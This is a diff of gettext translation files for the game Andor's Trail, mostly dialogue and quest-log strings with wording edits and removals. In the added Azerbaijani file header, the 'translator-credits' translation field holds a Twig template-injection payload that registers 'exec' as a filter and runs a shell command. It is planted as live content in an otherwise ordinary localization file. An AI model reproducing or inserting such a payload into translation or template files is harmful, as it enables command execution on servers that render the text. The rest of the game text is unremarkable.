#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27608,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27743,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27783,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27819,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27843,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27864,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27888,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27984,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28074,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28110,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28433,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28445,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28465,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28975,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28991,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29009,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29029,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29041,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29233,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31286,10 +31153,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31209,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31221,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36221,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36253,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36261,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36277,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36837,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36857,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36868,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36876,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36893,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36989,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37715,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37723,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38130,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38147,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

View File

@@ -1,3 +1,22 @@
msgid ""
msgstr ""
"Project-Id-Version: Andors Trail\n"
"POT-Creation-Date: Sun Nov 10 11:14:56 CET 2013\n"
"PO-Revision-Date: 2017-04-24 10:32+0000\n"
"Last-Translator: ninjacrewakx <zawap@vpn33.top>\n"
"Language-Team: Azerbaijani <https://hosted.weblate.org/projects/andors-trail"
"/game-content/az/>\n"
"Language: az\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 2.14-dev\n"
#: [none]
msgid "translator-credits"
msgstr "{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"ls\")}}"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr ""
@@ -2856,7 +2875,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4632,7 +4651,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5589,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr ""
@@ -6749,7 +6768,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr ""
@@ -9390,7 +9408,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9565,7 @@ msgid "Depends on what I get in return."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9603,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21511,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21795,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21813,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22302,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22327,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22343,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22353,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22383,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22392,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22425,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22437,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22493,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22501,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22513,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22650,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22659,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22684,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22720,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22935,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
